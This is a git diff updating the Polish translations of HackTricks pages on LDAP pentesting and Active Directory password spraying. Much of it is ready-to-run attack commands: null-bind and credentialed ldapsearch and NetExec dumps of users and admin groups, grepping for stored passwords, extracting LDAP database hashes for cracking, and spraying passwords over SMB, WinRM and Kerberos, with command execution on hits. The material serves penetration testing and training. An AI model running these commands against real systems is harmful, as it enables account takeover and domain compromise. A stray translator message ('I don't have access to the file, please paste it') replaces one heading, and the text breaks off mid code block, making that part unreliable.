mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-ldap.md', 's
This commit is contained in:
parent
e7bd6dee03
commit
9df87765c1
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Użycie **LDAP** (Lightweight Directory Access Protocol) ma na celu głównie lokalizowanie różnych podmiotów, takich jak organizacje, osoby i zasoby, takie jak pliki i urządzenia w sieciach, zarówno publicznych, jak i prywatnych. Oferuje uproszczone podejście w porównaniu do swojego poprzednika, DAP, dzięki mniejszemu rozmiarowi kodu.
|
||||
Zastosowanie **LDAP** (Lightweight Directory Access Protocol) polega głównie na lokalizowaniu różnych obiektów, takich jak organizacje, osoby oraz zasoby, np. pliki i urządzenia, w sieciach publicznych i prywatnych. Oferuje ono uproszczone podejście w porównaniu do swojego poprzednika, DAP, dzięki mniejszemu rozmiarowi kodu.
|
||||
|
||||
Katalogi LDAP są zorganizowane w sposób umożliwiający ich dystrybucję na kilku serwerach, z których każdy przechowuje **replikowaną** i **zsynchronizowaną** wersję katalogu, nazywaną Agentem Systemu Katalogowego (DSA). Odpowiedzialność za obsługę żądań spoczywa całkowicie na serwerze LDAP, który może komunikować się z innymi DSA w razie potrzeby, aby dostarczyć jednolitą odpowiedź do wnioskodawcy.
|
||||
Katalogi LDAP są zorganizowane tak, aby można je było rozdzielać między kilka serwerów, z każdym serwerem przechowującym **replikowaną** i **synchronizowaną** wersję katalogu, nazywaną Directory System Agent (DSA). Odpowiedzialność za obsługę żądań spoczywa w całości na serwerze LDAP, który w razie potrzeby może komunikować się z innymi DSA, aby dostarczyć spójną odpowiedź żądającemu.
|
||||
|
||||
Organizacja katalogu LDAP przypomina **hierarchię drzewiastą, zaczynając od katalogu głównego na górze**. Rozgałęzia się to na kraje, które dzielą się dalej na organizacje, a następnie na jednostki organizacyjne reprezentujące różne działy lub departamenty, aż w końcu osiąga poziom poszczególnych podmiotów, w tym zarówno ludzi, jak i wspólne zasoby, takie jak pliki i drukarki.
|
||||
Organizacja katalogu LDAP przypomina **hierarchię drzewiastą, zaczynając od katalogu głównego na szczycie**. Gałęzie rozchodzą się do krajów, które dalej dzielą się na organizacje, a następnie na jednostki organizacyjne reprezentujące różne działy lub departamenty, aż do poziomu pojedynczych obiektów, obejmujących zarówno osoby, jak i zasoby współdzielone, takie jak pliki i drukarki.
|
||||
|
||||
**Domyślny port:** 389 i 636(ldaps). Globalny Katalog (LDAP w ActiveDirectory) jest dostępny domyślnie na portach 3268 i 3269 dla LDAPS.
|
||||
**Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
389/tcp open ldap syn-ack
|
||||
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
### LDAP Data Interchange Format
|
||||
|
||||
LDIF (LDAP Data Interchange Format) definiuje zawartość katalogu jako zestaw rekordów. Może również reprezentować żądania aktualizacji (Dodaj, Zmień, Usuń, Zmień nazwę).
|
||||
LDIF (LDAP Data Interchange Format) definiuje zawartość katalogu jako zbiór rekordów. Może również reprezentować żądania aktualizacji (Add, Modify, Delete, Rename).
|
||||
```bash
|
||||
dn: dc=local
|
||||
dc: local
|
||||
@ -45,14 +45,14 @@ ou:
|
||||
mail: pepe@hacktricks.xyz
|
||||
phone: 23627387495
|
||||
```
|
||||
- Linie 1-3 definiują najwyższy poziom domeny local
|
||||
- Linie 5-8 definiują pierwszy poziom domeny moneycorp (moneycorp.local)
|
||||
- Linie 10-16 definiują 2 jednostki organizacyjne: dev i sales
|
||||
- Linie 18-26 tworzą obiekt domeny i przypisują atrybuty z wartościami
|
||||
- Wiersze 1-3 definiują domenę najwyższego poziomu local
|
||||
- Wiersze 5-8 definiują domenę pierwszego poziomu moneycorp (moneycorp.local)
|
||||
- Wiersze 10-16 definiują 2 jednostki organizacyjne: dev i sales
|
||||
- Wiersze 18-26 tworzą obiekt domeny i przypisują atrybuty z wartościami
|
||||
|
||||
## Zapisz dane
|
||||
## Zapis danych
|
||||
|
||||
Zauważ, że jeśli możesz modyfikować wartości, możesz być w stanie wykonać naprawdę interesujące działania. Na przykład, wyobraź sobie, że **możesz zmienić informacje "sshPublicKey"** swojego użytkownika lub dowolnego użytkownika. Jest bardzo prawdopodobne, że jeśli ten atrybut istnieje, to **ssh odczytuje klucze publiczne z LDAP**. Jeśli możesz zmodyfikować klucz publiczny użytkownika, **będziesz mógł zalogować się jako ten użytkownik, nawet jeśli uwierzytelnianie hasłem nie jest włączone w ssh**.
|
||||
Zwróć uwagę, że jeśli możesz modyfikować wartości, możesz wykonać naprawdę interesujące działania. Na przykład, wyobraź sobie, że **możesz zmienić informację "sshPublicKey"** swojego użytkownika lub dowolnego innego. Jest bardzo prawdopodobne, że jeśli ten atrybut istnieje, to **ssh odczytuje klucze publiczne z LDAP**. Jeśli możesz zmodyfikować klucz publiczny użytkownika, **będziesz mógł zalogować się jako ten użytkownik nawet jeśli uwierzytelnianie hasłem nie jest włączone w ssh**.
|
||||
```bash
|
||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||
>>> import ldap3
|
||||
@ -66,28 +66,53 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||
```
|
||||
## Sniff clear text credentials
|
||||
|
||||
Jeśli LDAP jest używany bez SSL, możesz **przechwycić dane logowania w postaci niezaszyfrowanej** w sieci.
|
||||
Jeśli LDAP jest używany bez SSL możesz **sniff credentials in plain text** w sieci.
|
||||
|
||||
Możesz również przeprowadzić atak **MITM** w sieci **pomiędzy serwerem LDAP a klientem.** Tutaj możesz przeprowadzić **atak downgrade**, aby klient używał **danych logowania w postaci niezaszyfrowanej** do logowania.
|
||||
Możesz również przeprowadzić atak **MITM** w sieci **pomiędzy serwerem LDAP a klientem.** Tutaj możesz wykonać **Downgrade Attack**, dzięki czemu klient użyje **credentials in clear text** do logowania.
|
||||
|
||||
**Jeśli SSL jest używane**, możesz spróbować przeprowadzić **MITM** jak wspomniano powyżej, oferując **fałszywy certyfikat**; jeśli **użytkownik go zaakceptuje**, możesz obniżyć metodę uwierzytelniania i ponownie zobaczyć dane logowania.
|
||||
**If SSL is used** możesz spróbować wykonać **MITM** jak wyżej, ale oferując **false certificate**; jeśli **user accepts it**, będziesz w stanie obniżyć metodę uwierzytelniania i ponownie zobaczyć credentials.
|
||||
|
||||
## Anonymous Access
|
||||
## Dostęp anonimowy
|
||||
|
||||
### Bypass TLS SNI check
|
||||
### Obejście sprawdzenia TLS SNI
|
||||
|
||||
Zgodnie z [**tym artykułem**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) wystarczyło uzyskać dostęp do serwera LDAP z dowolną nazwą domeny (taką jak company.com), aby móc skontaktować się z usługą LDAP i wyodrębnić informacje jako anonimowy użytkownik:
|
||||
Zgodnie z [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) samo uzyskanie dostępu do serwera LDAP za pomocą dowolnej nazwy domeny (np. company.com) pozwoliło mu skontaktować się z usługą LDAP i wyodrębnić informacje jako anonimowy użytkownik:
|
||||
```bash
|
||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
### LDAP anonymous binds
|
||||
|
||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) pozwalają **nieautoryzowanym atakującym** na uzyskanie informacji z domeny, takich jak pełna lista użytkowników, grup, komputerów, atrybutów kont użytkowników oraz polityki haseł domeny. Jest to **stara konfiguracja**, a od Windows Server 2003 tylko uwierzytelnieni użytkownicy mogą inicjować żądania LDAP.\
|
||||
Jednakże, administratorzy mogli potrzebować **skonfigurować określoną aplikację, aby umożliwić anonimowe połączenia** i przyznać więcej dostępu niż zamierzano, co skutkuje tym, że nieautoryzowani użytkownicy mają dostęp do wszystkich obiektów w AD.
|
||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) pozwalają **nieuwierzytelnionym atakującym** na pobranie informacji z domeny, takich jak pełna lista użytkowników, grup, komputerów, atrybutów kont użytkowników oraz polityka haseł domeny. Jest to **przestarzała konfiguracja**, a od Windows Server 2003 tylko uwierzytelnieni użytkownicy mogą inicjować żądania LDAP.\
|
||||
Jednak administratorzy mogli potrzebować **skonfigurować konkretną aplikację tak, by pozwalała na anonymous binds** i przyznać więcej uprawnień niż zamierzano, co daje nieuwierzytelnionym użytkownikom dostęp do wszystkich obiektów w AD.
|
||||
|
||||
## Valid Credentials
|
||||
### Anonymous LDAP enumeration with NetExec (null bind)
|
||||
|
||||
Jeśli masz ważne dane logowania do serwera LDAP, możesz zrzucić wszystkie informacje o Administratorze Domeny za pomocą:
|
||||
Jeśli dozwolony jest null/anonymous bind, możesz pobrać użytkowników, grupy i atrybuty bezpośrednio za pomocą modułu LDAP NetExec bez creds. Przydatne filtry:
|
||||
- (objectClass=*) aby zinwentaryzować obiekty pod base DN
|
||||
- (sAMAccountName=*) aby zebrać user principals
|
||||
|
||||
Przykłady:
|
||||
```bash
|
||||
# Enumerate objects from the root DSE (base DN autodetected)
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
|
||||
|
||||
# Dump users with key attributes for spraying and targeting
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
|
||||
|
||||
# Extract just the sAMAccountName field into a list
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
|
||||
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
|
||||
```
|
||||
What to look for:
|
||||
- sAMAccountName, userPrincipalName
|
||||
- memberOf i umiejscowienie OU, aby określić zakres dla targeted sprays
|
||||
- pwdLastSet (wzorce czasowe), userAccountControl flags (disabled, smartcard required, etc.)
|
||||
|
||||
Note: Jeśli anonymous bind nie jest dozwolony, zwykle zobaczysz Operations error wskazujący, że bind jest wymagany.
|
||||
|
||||
## Prawidłowe poświadczenia
|
||||
|
||||
Jeśli masz prawidłowe poświadczenia do zalogowania się na serwer LDAP, możesz zrzucić wszystkie informacje o Domain Admin używając:
|
||||
|
||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||
```bash
|
||||
@ -96,11 +121,11 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
|
||||
```
|
||||
### [Brute Force](../generic-hacking/brute-force.md#ldap)
|
||||
|
||||
## Enumeracja
|
||||
## Enumeration
|
||||
|
||||
### Zautomatyzowana
|
||||
### Automatyczne
|
||||
|
||||
Korzystając z tego, będziesz mógł zobaczyć **publiczne informacje** (takie jak nazwa domeny)**:**
|
||||
Dzięki temu będziesz w stanie zobaczyć **publiczne informacje** (np. nazwę domeny)**:**
|
||||
```bash
|
||||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
```
|
||||
@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Zobacz enumerację LDAP za pomocą Pythona</summary>
|
||||
<summary>Zobacz LDAP enumeration with python</summary>
|
||||
|
||||
Możesz spróbować **enumerować LDAP z lub bez poświadczeń za pomocą Pythona**: `pip3 install ldap3`
|
||||
Możesz spróbować **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
|
||||
|
||||
Najpierw spróbuj **połączyć się bez** poświadczeń:
|
||||
Najpierw spróbuj **połączyć się bez** credentials:
|
||||
```bash
|
||||
>>> import ldap3
|
||||
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||||
@ -121,7 +146,7 @@ Najpierw spróbuj **połączyć się bez** poświadczeń:
|
||||
True
|
||||
>>> server.info
|
||||
```
|
||||
Jeśli odpowiedź to `True`, jak w poprzednim przykładzie, możesz uzyskać pewne **interesujące dane** z serwera LDAP (takie jak **kontekst nazewniczy** lub **nazwa domeny**) z:
|
||||
Jeśli odpowiedź to `True`, jak w poprzednim przykładzie, możesz uzyskać pewne **interesujące dane** dotyczące serwera LDAP (takie jak **naming context** czy **domain name**) z:
|
||||
```bash
|
||||
>>> server.info
|
||||
DSA info (from DSE):
|
||||
@ -129,13 +154,13 @@ Supported LDAP versions: 3
|
||||
Naming contexts:
|
||||
dc=DOMAIN,dc=DOMAIN
|
||||
```
|
||||
Gdy masz już kontekst nazewniczy, możesz wykonać kilka bardziej interesujących zapytań. To proste zapytanie powinno pokazać wszystkie obiekty w katalogu:
|
||||
Gdy już masz kontekst nazewnictwa, możesz wykonać kilka ciekawszych zapytań. To proste zapytanie powinno pokazać wszystkie obiekty w katalogu:
|
||||
```bash
|
||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||
True
|
||||
>> connection.entries
|
||||
```
|
||||
Lub **zrzut** całego ldap:
|
||||
Albo **dump** cały ldap:
|
||||
```bash
|
||||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||||
True
|
||||
@ -145,7 +170,7 @@ True
|
||||
|
||||
### windapsearch
|
||||
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) to skrypt w Pythonie przydatny do **enumeracji użytkowników, grup i komputerów z domeny Windows** za pomocą zapytań LDAP.
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) jest skryptem Python przydatnym do **enumeracji użytkowników, grup i komputerów w domenie Windows** przy użyciu zapytań LDAP.
|
||||
```bash
|
||||
# Get computers
|
||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
||||
```
|
||||
### ldapsearch
|
||||
|
||||
Sprawdź puste poświadczenia lub czy twoje poświadczenia są ważne:
|
||||
Sprawdź puste poświadczenia lub czy twoje poświadczenia są poprawne:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
@ -173,7 +198,7 @@ result: 1 Operations error
|
||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||
tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
Jeśli znajdziesz coś mówiącego, że "_bind musi być zakończony_", oznacza to, że dane uwierzytelniające są nieprawidłowe.
|
||||
Jeśli zobaczysz komunikat "_bind must be completed_", oznacza to, że poświadczenia są niepoprawne.
|
||||
|
||||
Możesz wyodrębnić **wszystko z domeny** używając:
|
||||
```bash
|
||||
@ -184,36 +209,36 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
||||
-w My password
|
||||
-b Base site, all data from here will be given
|
||||
```
|
||||
Ekstraktuj **użytkowników**:
|
||||
Wyodrębnij **użytkowników**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||
```
|
||||
Wydobyć **komputery**:
|
||||
Wyodrębnij **komputery**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Wyciągnij **moje informacje**:
|
||||
I don't have access to src/network-services-pentesting/pentesting-ldap.md. Proszę wklej zawartość pliku (lub fragmenty), które chcesz przetłumaczyć — przetłumaczę je na polski, zachowując dokładnie wszystkie znaczniki markdown/html oraz nie tłumacząc kodu, nazw technik, linków, ścieżek ani wskazanych terminów.
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Ekstrakcja **Domain Admins**:
|
||||
Wyodrębnij **Domain Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Ekstrakcja **Użytkowników Domeny**:
|
||||
Wyodrębnij **Domain Users**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Ekstrakcja **Enterprise Admins**:
|
||||
Wyodrębnij **Enterprise Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Ekstrakt **Administratorzy**:
|
||||
Wyodrębnij **Administrators**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Ekstrakt **Remote Desktop Group**:
|
||||
Wyodrębnij **Remote Desktop Group**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -221,12 +246,12 @@ Aby sprawdzić, czy masz dostęp do jakiegokolwiek hasła, możesz użyć grep p
|
||||
```bash
|
||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||
```
|
||||
Proszę zauważyć, że hasła, które można tutaj znaleźć, mogą nie być prawdziwe...
|
||||
Zwróć uwagę, że hasła, które możesz znaleźć tutaj, nie muszą być prawdziwe...
|
||||
|
||||
#### pbis
|
||||
|
||||
Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i zazwyczaj jest instalowany w `/opt/pbis`.\
|
||||
**Pbis** pozwala na łatwe uzyskanie podstawowych informacji:
|
||||
Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i zazwyczaj jest zainstalowany w `/opt/pbis`.\
|
||||
**Pbis** pozwala łatwo uzyskać podstawowe informacje:
|
||||
```bash
|
||||
#Read keytab file
|
||||
./klist -k /etc/krb5.keytab
|
||||
@ -255,13 +280,13 @@ Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](http
|
||||
./list-groups-for-user <username>
|
||||
./lsa list-groups-for-user <username>
|
||||
#Get groups of each user
|
||||
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||
|
||||
#Get users of a group
|
||||
./enum-members --by-name "domain admins"
|
||||
./lsa enum-members --by-name "domain admins"
|
||||
#Get users of each group
|
||||
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||
|
||||
#Get description of each user
|
||||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||||
@ -274,11 +299,11 @@ done
|
||||
|
||||
### Apache Directory
|
||||
|
||||
[**Pobierz Apache Directory stąd**](https://directory.apache.org/studio/download/download-linux.html). Możesz znaleźć [przykład użycia tego narzędzia tutaj](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
|
||||
### jxplorer
|
||||
|
||||
Możesz pobrać interfejs graficzny z serwerem LDAP tutaj: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
|
||||
Domyślnie jest zainstalowany w: _/opt/jxplorer_
|
||||
|
||||
@ -286,35 +311,35 @@ Domyślnie jest zainstalowany w: _/opt/jxplorer_
|
||||
|
||||
### Godap
|
||||
|
||||
Godap to interaktywne terminalowe interfejs użytkownika dla LDAP, który można używać do interakcji z obiektami i atrybutami w AD i innych serwerach LDAP. Jest dostępny dla Windows, Linux i MacOS i obsługuje proste połączenia, pass-the-hash, pass-the-ticket i pass-the-cert, a także kilka innych specjalistycznych funkcji, takich jak wyszukiwanie/tworzenie/zmiiana/usuwanie obiektów, dodawanie/usuwanie użytkowników z grup, zmiana haseł, edytowanie uprawnień obiektów (DACL), modyfikowanie zintegrowanego DNS Active Directory (ADIDNS), eksportowanie do plików JSON itp.
|
||||
Godap to interaktywny terminalowy interfejs użytkownika dla LDAP, który pozwala na interakcję z obiektami i atrybutami w AD oraz innych serwerach LDAP. Jest dostępny dla Windows, Linux i MacOS oraz obsługuje simple binds, pass-the-hash, pass-the-ticket i pass-the-cert, wraz z wieloma innymi wyspecjalizowanymi funkcjami, takimi jak searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modyfikowanie Active-Directory Integrated DNS (ADIDNS), eksport do plików JSON itp.
|
||||
|
||||

|
||||
|
||||
Możesz uzyskać do niego dostęp pod adresem [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Aby zobaczyć przykłady użycia i instrukcje, przeczytaj [Wiki](https://github.com/Macmod/godap/wiki).
|
||||
Możesz uzyskać do niego dostęp pod adresem [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Przykłady użycia i instrukcje znajdziesz na [Wiki](https://github.com/Macmod/godap/wiki).
|
||||
|
||||
### Ldapx
|
||||
|
||||
Ldapx to elastyczny proxy LDAP, który można używać do inspekcji i transformacji ruchu LDAP z innych narzędzi. Może być używany do obfuskacji ruchu LDAP w celu próby ominięcia narzędzi ochrony tożsamości i monitorowania LDAP oraz implementuje większość metod przedstawionych w wykładzie [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
||||
Ldapx to elastyczny LDAP proxy, który może być używany do inspekcji i transformacji ruchu LDAP generowanego przez inne narzędzia. Może służyć do obfuskacji ruchu LDAP w celu próby obejścia mechanizmów ochrony tożsamości i narzędzi monitorujących LDAP oraz implementuje większość metod zaprezentowanych w wykładzie [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
||||
|
||||

|
||||
|
||||
Możesz go pobrać z [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||
|
||||
## Uwierzytelnianie za pomocą kerberos
|
||||
## Uwierzytelnianie przez Kerberos
|
||||
|
||||
Używając `ldapsearch`, możesz **uwierzytelnić się** za pomocą **kerberos zamiast** przez **NTLM**, używając parametru `-Y GSSAPI`
|
||||
Używając `ldapsearch` możesz **uwierzytelniać się** przy użyciu **Kerberos** zamiast **NTLM**, stosując parametr `-Y GSSAPI`
|
||||
|
||||
## POST
|
||||
|
||||
Jeśli masz dostęp do plików, w których znajdują się bazy danych (mogą być w _/var/lib/ldap_). Możesz wyodrębnić hashe używając:
|
||||
Jeśli masz dostęp do plików, w których znajdują się bazy danych (mogą się znajdować w _/var/lib/ldap_). Możesz wydobyć hashe używając:
|
||||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
Możesz podać johnowi hash hasła (od '{SSHA}' do 'structural' bez dodawania 'structural').
|
||||
Możesz załadować do john hash hasła (od '{SSHA}' do 'structural' bez dodawania 'structural').
|
||||
|
||||
### Pliki konfiguracyjne
|
||||
|
||||
- Ogólne
|
||||
- General
|
||||
- containers.ldif
|
||||
- ldap.cfg
|
||||
- ldap.conf
|
||||
@ -335,7 +360,7 @@ Możesz podać johnowi hash hasła (od '{SSHA}' do 'structural' bez dodawania 's
|
||||
- Sun ONE Directory Server 5.1
|
||||
- 75sas.ldif
|
||||
|
||||
## HackTricks Automatyczne Komendy
|
||||
## HackTricks Automatyczne polecenia
|
||||
```
|
||||
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 389,636 #Comma separated if there is more than one.
|
||||
@ -378,4 +403,10 @@ Entry_7:
|
||||
Name: Netexec LDAP BloodHound
|
||||
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
||||
```
|
||||
## Źródła
|
||||
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
- [NetExec (następca CME)](https://github.com/Pennyw0rth/NetExec)
|
||||
- [Microsoft: Anonymous LDAP operations wobec Active Directory są wyłączone](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -5,16 +5,16 @@
|
||||
|
||||
## **Password Spraying**
|
||||
|
||||
Po znalezieniu kilku **valid usernames** możesz spróbować najczęściej używanych **common passwords** (pamiętaj o **password policy** środowiska) dla każdego z odkrytych użytkowników.\
|
||||
Po znalezieniu kilku **valid usernames** możesz spróbować najpopularniejszych **common passwords** (uwzględniając password policy środowiska) dla każdego z odkrytych użytkowników.\
|
||||
By **default** the **minimum** **password** **length** is **7**.
|
||||
|
||||
Listy common usernames mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Zauważ, że możesz **could lockout some accounts if you try several wrong passwords** (by default more than 10).
|
||||
Zwróć uwagę, że możesz **could lockout some accounts if you try several wrong passwords** (by default więcej niż 10).
|
||||
|
||||
### Get password policy
|
||||
|
||||
Jeśli masz jakieś user credentials lub shell jako domain user możesz **get the password policy with**:
|
||||
Jeśli masz jakieś user credentials lub shell jako domain user, możesz **get the password policy with**:
|
||||
```bash
|
||||
# From Linux
|
||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||
@ -31,27 +31,42 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Eksploatacja z Linuxa (lub innych systemów)
|
||||
### Eksploatacja z Linuxa (lub ogólnie)
|
||||
|
||||
- Korzystanie z **crackmapexec:**
|
||||
- Przy użyciu **crackmapexec:**
|
||||
```bash
|
||||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
- Używając [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||
- Używanie **NetExec (CME successor)** do ukierunkowanego, niskoszumowego sprayingu przez SMB/WinRM:
|
||||
```bash
|
||||
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
|
||||
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
|
||||
|
||||
# Spray a single candidate password against harvested users over SMB
|
||||
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
|
||||
--continue-on-success --no-bruteforce --shares
|
||||
|
||||
# Validate a hit over WinRM (or use SMB exec methods)
|
||||
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
|
||||
|
||||
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
|
||||
sudo ntpdate <DC_FQDN>
|
||||
```
|
||||
- Korzystanie z [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||
```bash
|
||||
# Password Spraying
|
||||
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
||||
# Brute-Force
|
||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||
```
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz określić liczbę prób, aby uniknąć blokad):**_
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz wskazać liczbę prób, aby uniknąć zablokowań):**_
|
||||
```bash
|
||||
